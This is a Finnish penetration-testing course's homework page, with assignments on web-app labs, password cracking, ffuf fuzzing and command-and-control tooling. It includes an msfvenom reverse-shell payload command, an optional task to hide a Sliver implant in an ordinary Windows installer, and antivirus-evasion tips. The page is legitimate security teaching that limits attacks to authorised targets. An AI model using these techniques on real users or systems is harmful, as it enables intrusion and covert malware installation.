&lt;h3 id=&quot;h4-taysin-laillinen-sertifikaatti&quot;&gt;h4 Täysin Laillinen Sertifikaatti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h4-taysin-laillinen-sertifikaatti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista - ei pitkiä esseitä. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul&gt;
&lt;li&gt;OWASP 2021: OWASP Top 10:2021
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;A01:2021 – Broken Access Control &lt;/a&gt; (IDOR ja path traversal ovat osa tätä)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwigget Academy:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/access-control/idor&quot;&gt;Insecure direct object references (IDOR)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal&quot;&gt;Path traversal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting&quot;&gt;Cross-site scripting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi.  Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Voi vaatia Firefox about:config network.proxy.allow_hijacking_localhost. Foxyproxy laittoi tämän aiemmin päälle itse. Kalin Firefox ESR oli viimeksi ongelmia Foxyproxyn kanssa - vaihtoehtona on asettaa Proxy käsin Settings, hakusana &quot;proxy&quot;)&lt;/li&gt;
&lt;li&gt;b) Kettumaista. Asenna &quot;FoxyProxy Standard&quot; Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn &quot;Patterns&quot; -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)&lt;/li&gt;
&lt;li&gt;PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
&lt;ul&gt;
&lt;li&gt;Cross Site Scripting (XSS)
&lt;ul&gt;
&lt;li&gt;c) &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded&quot;&gt;Reflected XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;d) &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded&quot;&gt;Stored XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;e) Selitä esimerkin avulla, mitä hyökkääjä hyötyy XSS-hyökkäyksestä. Alert(&quot;Hei Tero!&quot;) ei vielä tarjoa kummoista pääsyä. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, pelkkä lyhyt ja selkeä selitys riittää.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Path traversal
&lt;ul&gt;
&lt;li&gt;f) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-simple&quot;&gt;File path traversal, simple case&lt;/a&gt;. Laita tarvittaessa Zapissa kuvien sieppaus päälle.&lt;/li&gt;
&lt;li&gt;g) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass&quot;&gt;File path traversal, traversal sequences blocked with absolute path bypass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;h) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively&quot;&gt;File path traversal, traversal sequences stripped non-recursively&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Insecure Direct Object Reference (IDOR)
&lt;ul&gt;
&lt;li&gt;i) &lt;a href=&quot;https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references&quot;&gt;Insecure direct object references&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;j) Vapaaehtoinen, helppo: Asenna &lt;a href=&quot;https://github.com/ffuf/pencode&quot;&gt;pencode&lt;/a&gt; ja muunna sillä jokin merkkijono (encode a string).&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.&lt;/li&gt;
&lt;li&gt;l) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat &quot;Apprentice&quot; -tason tehtävät ensin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Foxyproxy tai about:config network.proxy.allow_hijacking_localhost auttaa&lt;/li&gt;
&lt;li&gt;Zap asennus
&lt;ul&gt;
&lt;li&gt;Nykyisin Kalissa &#39;sudo apt-get install zaproxy&#39;, &#39;zaproxy&#39; näytti toimivan, joten kannattaa kokeilla sitä ensin.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.zaproxy.org/download/&quot;&gt;OWASP ZAP Download-sivun&lt;/a&gt; sopivin JAR on &quot;Cross Platform Package&quot;, noin 250 MB.&lt;/li&gt;
&lt;li&gt;Kalissa &#39;sudo apt-get install zaproxy&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai &lt;a href=&quot;https://terokarvinen.com/2024/webgoat-podman/&quot;&gt;asentaa WebGoatin Podmaniin&lt;/a&gt;. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
&lt;ul&gt;
&lt;li&gt;Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
&lt;ul&gt;
&lt;li&gt;Löytyy Tools: Options: Network alta, hakusanaksi &quot;Certificate&quot;.
&lt;ul&gt;
&lt;li&gt;Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti (Server Certificate tms).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Firefoxissa Settings ja hakusanaksi &quot;Certificate&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP:n tärkein toiminto: Requester tab.
&lt;ul&gt;
&lt;li&gt;Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.&lt;/li&gt;
&lt;li&gt;Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP hakupyynnön pysäytys
&lt;ul&gt;
&lt;li&gt;Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.&lt;/li&gt;
&lt;li&gt;Puussa olevista osoitteista oikeaa nappia, menusta &quot;Break...&quot;&lt;/li&gt;
&lt;li&gt;Tee pyyntö selaimella&lt;/li&gt;
&lt;li&gt;Pyyntö näkyy ZAPissa oikealla ylhäällä &quot;Break&quot; välilehdellä.&lt;/li&gt;
&lt;li&gt;Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
&lt;ul&gt;
&lt;li&gt;Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.&lt;/li&gt;
&lt;li&gt;Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.&lt;/li&gt;
&lt;li&gt;Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
&lt;ul&gt;
&lt;li&gt;Pencoder asennus ulkomuistista: hae Github-sivu &quot;fuff pencode&quot;, Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Viittaa
&lt;ul&gt;
&lt;li&gt;Viittasithan kurssiin ja tehtäväsivuun?&lt;/li&gt;
&lt;li&gt;Viittasithan kaikkiin käyttämiisi artikkeleihin?&lt;/li&gt;
&lt;li&gt;Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?&lt;/li&gt;
&lt;li&gt;Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...&lt;/li&gt;
&lt;li&gt;Viittasithan kaikkiin muihinkin lähteisiin?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hakkeroimaan oppii hakkeroimalla.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-elokuu2026&quot;&gt;h5 Elokuu2026! &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h5-elokuu2026&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Nyt levitään! Opit murtamaan salasanoja.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2022: &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Cracking Passwords with Hashcat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/crack-file-password-with-john/&quot;&gt;Crack File Password With John&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen: € Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: &lt;a href=&quot;https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_06_00_00&quot;&gt;Lesson 6: Hacking User Credentials&lt;/a&gt; (8 videos, about 30 min)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.&lt;/li&gt;
&lt;li&gt;c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.&lt;/li&gt;
&lt;li&gt;e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).&lt;/li&gt;
&lt;li&gt;f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)&lt;/li&gt;
&lt;li&gt;g) Sanakirja. Oman sanakirjan teko parantaa onnistumismahdollisuuksia. Demonstroi, kuinka teet oman sanakirjan hashcat:n tai john:iin.&lt;/li&gt;
&lt;li&gt;h) Hash rules. Näytä esimerkki HashCatin sääntöjen käytöstä (rules).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sanakirjan teko, vaihtoehtoja
&lt;ul&gt;
&lt;li&gt;cewl (verbose, limit depth)&lt;/li&gt;
&lt;li&gt;copy-paste, sanat erilleen, duplikaatit pois&lt;/li&gt;
&lt;li&gt;Elokuu2026!, Syyskuu2026!...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hashcatin säännöistä best64 on kokeilemisen arvoinen&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan &lt;a href=&quot;https://libguides.haaga-helia.fi/az/databases&quot;&gt;ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-fuzzy-feeling-upon-finding&quot;&gt;h6 Fuzzy Feeling Upon Finding &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h6-fuzzy-feeling-upon-finding&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Opit käyttämään maailman johtavaa weppifuzzeria: ffuf. Ja tunnilla sen opetti joohoi.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys. [Päivitys 2026-09-25 w39 Fri: laitoin Hoikkalan kalvot tähän mukaan, kun sain luvan.]
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/hoikkala-2026-fuzzing-with-ffuf.pdf&quot;&gt;Hoikkala 2026: Fuzzing with Fuff&lt;/a&gt;, kalvot joohoin esityksestä kurssilta.&lt;/li&gt;
&lt;li&gt;Vapaaehtoista lisälukemistoa
&lt;ul&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/&quot;&gt;Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala 2026: &lt;a href=&quot;https://github.com/ffuf/ffuf/blob/master/README.md&quot;&gt;ffuf README.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: &lt;a href=&quot;https://www.youtube.com/watch?v=mbmsT3AhwWU&quot;&gt;Still Fuzzing Faster (U fool)&lt;/a&gt;. In HelSec Virtual meetup #1. (Noin tunnin mittainen)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vaultline https://ffuf.io.fi/play
&lt;ul&gt;
&lt;li&gt;a) Tallenna itsellesi kopio säännöistä. Kirjoita omin sanoin,
&lt;ul&gt;
&lt;li&gt;Scope. Mikä on kohde?&lt;/li&gt;
&lt;li&gt;Rules of engagement. Mitä sille saa tehdä, eli mitä tai millaisia menetelmiä saa käyttää?&lt;/li&gt;
&lt;li&gt;Mihin oikeutesi tehdä tietoturvatestausta tähän kohteeseen perustuu?&lt;/li&gt;
&lt;li&gt;Riskit ja mitigointi. Tuo palvelin on Internetissä. Tunnista lyhyesti riskit ja niiden mitigointi ennen käytännön harjoittelua.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Asenna ffuf versio, joka tukee aivan uutta preflight-ominaisuutta.&lt;/li&gt;
&lt;li&gt;c1) Content discovery (Vaultline https://ffuf.io.fi/play tehtävät on numeroitu näin, käytetään tässä samoja.).&lt;/li&gt;
&lt;li&gt;c2) The interesting non-200&lt;/li&gt;
&lt;li&gt;c3) Recursion&lt;/li&gt;
&lt;li&gt;c4) Virtual hosts&lt;/li&gt;
&lt;li&gt;c9) The login you cannot replay (Has preflight! Has CSRF token!)&lt;/li&gt;
&lt;li&gt;Vapaaehtoisena muut Vaultlinen tehtävät&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen: mainosta kavereille &lt;a href=&quot;https://www.haaga-helia.fi/en/happy-hacking-day-2026&quot;&gt;Happy Hacking Day&lt;/a&gt;:ta! Linkkiä saa jakaa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Koneiden fuzzaaminen vaati etukäteisen kirjallisen luvan. Testaamisen mikään osa ei saa kohdistua kohteen (scope) ulkopuolisiin palveluihin. Tässä harjoituksessa fuzzataan julkisen verkon yli vain joohoin https://ffuf.io.fi/play -sivua&lt;/li&gt;
&lt;li&gt;Preflight
&lt;ul&gt;
&lt;li&gt;Preflight avulla voit hyökätä CSRF-suojattuihin lomakkeisiin, vaikkapa renkuttaa salasanoja netin yli. Kiitos joohoi, tämä ominaisuus oli minun toiveeni!&lt;/li&gt;
&lt;li&gt;Vaultline: &quot;preflight shipped in ffuf v2.3.0. Older builds do not have the flag at all: ffuf -h|grep -c preflight should not print 0.&quot;&lt;/li&gt;
&lt;li&gt;Viimeisin versio löytyy ffuf:n Github-reposta. Releases-kohdasta saa valmiin binäärin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;hx-koita-simpukoita&quot;&gt;hx Koita simpukoita &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#hx-koita-simpukoita&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Mitä kirjainta pitää painaa? Missä on &quot;any key&quot;? Nyt joudut itse hakemaan ohjeita verkosta työkalujen käyttöön, mikä tekee monesta kohdasta haastavamman.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Mikään tässä harjoituksessa tehty tai käytetty ohjelma ei saa olla itsestään leviävä (ei virus, ei mato).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Useimmat tehtävät eivät edellytä haittaohjelman binäärin liittämistä raporttiin. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi yleisen käytännön mukaan &quot;infected&quot;. Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Venom. Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.&lt;/li&gt;
&lt;li&gt;b) Snif venom! Tarkastele ja analysoi msfvenomin muodostamaa reverse shell -yhteyttä. Käytä snifferiä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?&lt;/li&gt;
&lt;li&gt;c) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.&lt;/li&gt;
&lt;li&gt;d) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?&lt;/li&gt;
&lt;li&gt;e) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkki. Muista todeta testein, että muutokset toimivat.&lt;/li&gt;
&lt;li&gt;f) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.&lt;/li&gt;
&lt;li&gt;h) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen.&lt;/li&gt;
&lt;li&gt;i) Vapaaehtoinen: Kokeile Veil.&lt;/li&gt;
&lt;li&gt;j) Vapaaehtoinen: Kokeile ScareCrow.&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li&gt;
&lt;li&gt;l) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Irrota tarvittasessa koneet netistä testien ajaksi.&lt;/li&gt;
&lt;li&gt;Metasploit msfconsole multi/handler
&lt;ul&gt;
&lt;li&gt;laita samat asetukset kuin msfvenom&lt;/li&gt;
&lt;li&gt;muista &#39;set payload&#39;&lt;/li&gt;
&lt;li&gt;&#39;run -j&#39; ajaa taustalla, sessiot ovat &#39;sessions&#39;&lt;/li&gt;
&lt;li&gt;prosessoriarkkitehtuuri kohteen mukaan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reverse shell:
&lt;ul&gt;
&lt;li&gt;Palvelimen päässä pitää olla reikä tulimuurissa.&lt;/li&gt;
&lt;li&gt;Reverse shell tarkoittaa, että palvelin (server, kuunteleva portti) on hyökkäyskoneella.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sliveriin kannattaa tarvittaessa hakea ohjeita myös tekoälyllä. Vielä joitakin kuukausia sitten Sliverin omissa ohjeissa oli ärsyttäviä virheitä - toivottavasti ne on jo korjattu.&lt;/li&gt;
&lt;li&gt;Jos liität haittaohjelmien binäärejä raporttiin, pitää estää niiden asentaminen vahingossa
&lt;ul&gt;
&lt;li&gt;Salakirjoitettu zip-paketti, salasana &quot;infected&quot;&lt;/li&gt;
&lt;li&gt;Varoitus lautauslinkin yhteyteen: haittaohjelma / malware&lt;/li&gt;
&lt;li&gt;Jos testaat eristetyissä laboratorioympäristöissä virustorjunnan ohitusta, niin tietysti siinä käytetään vain sisältöä ja vältetään pahoja sanoja &quot;malware&quot;, &quot;infected&quot;, &quot;meterpreter&quot;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista ht8 lipunryöstöä aloittelijoille&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esimerkki ulkomuistista, pitää itse soveltaa&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;msfvenom&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;o&lt;/span&gt; infected&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;lippuvalmistelu&quot;&gt;Lippuvalmistelu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#lippuvalmistelu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lippuvalmistelu. Valmistele kone ensi viikon lipunryöstöön. Tästä kohdasta ei tarvita kattavaa raporttia, riittää pelkkä luettelo siitä, miten ratkaisit allaolevat kysymykset. Jos sinulla on esimerkiksi valmis, toimiva Kali VM tavallisella PC:llä, tässä ei tarvitse tehdä juuri mitään.
&lt;ul&gt;
&lt;li&gt;amd64. Haasteet voivat sisältää amd64-binäärejä. Nämä toimivat itsestään perus-PC:ssä, joita lähes kaikkien koneet ovat. Macintosheissa (M1, M2, M3...) hankala tehdä tehtävää, joten kannattaa ottaa tavallinen amd64-kone.&lt;/li&gt;
&lt;li&gt;Netti. Koneesta pitää päästä nettiin, jotta voit palauttaa liput. Voi olla kätevää, että saat nettiyhteyden katkaistuksi, jotta porttiskannailu ym. on huoletonta.&lt;/li&gt;
&lt;li&gt;Too many secrets. Opettaja voi tarkastaa lipunryöstön koneesi ja tutkia kaikkia siellä olevia tiedostoja. Jos käytät pelkästään virtuaalikonetta (myös selailu, muistiinpanot ym virtuaalikoneesta), tarkastaminen koskee vain sitä. Katso, ettei tällä koneella ole luottamuksellisia tietoja.&lt;/li&gt;
&lt;li&gt;Koneella saa olla haluamasi ohjelmat ja työkalut. Työkaluista ja ohjelmista pitää antaa opettajalle kopio, jos ne eivät ole yleisesti käytettyjä, tunnettuja ja saatavilla olevia vapaita ohjelmia.&lt;/li&gt;
&lt;li&gt;Jos lipunryöstön koneella on muistiinpanoja, niistä on annettava kopio opettajalle sähköpostilla. Omia muistiinpanoja saa olla, mutta ei ole pakko. Lipunryöstössä saa lukea julkisia lähteitä, kuten opettajan kotisivuja sekä omia ja toisten julkisia raportteja.&lt;/li&gt;
&lt;li&gt;Paikallinen tekoäly. Omaa tekoälyä ei tarvita lipunryöstössä, eikä siitä todennäköisesti ole juuri hyötyä. Mutta siltä varalta, että joku miettii tätä: Paikallisen tekoälyn käyttö lipunryöstössä on sallittu, jos ilmoittaa Terolle etukäteen sähköpostilla siitä, antaa opettajalle sähköpostitse täydellisen kopion keskustelusta tekoälyn kanssa ja kaikki paramaterit, sekä kopion tekoälyn koodista ja painoista tai linkin niihin. Ulkopuolisen tekoälyn käyttö verkon yli on lipunryöstössä kielletty.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Vapaaehtoiset tehtävät&lt;/li&gt;
&lt;li&gt;b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li&gt;
&lt;li&gt;c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
&lt;ul&gt;
&lt;li&gt;Projektit&lt;/li&gt;
&lt;li&gt;HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. Erottele retired ja non-retired. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)&lt;/li&gt;
&lt;li&gt;Lipunryöstöt&lt;/li&gt;
&lt;/ul&gt;
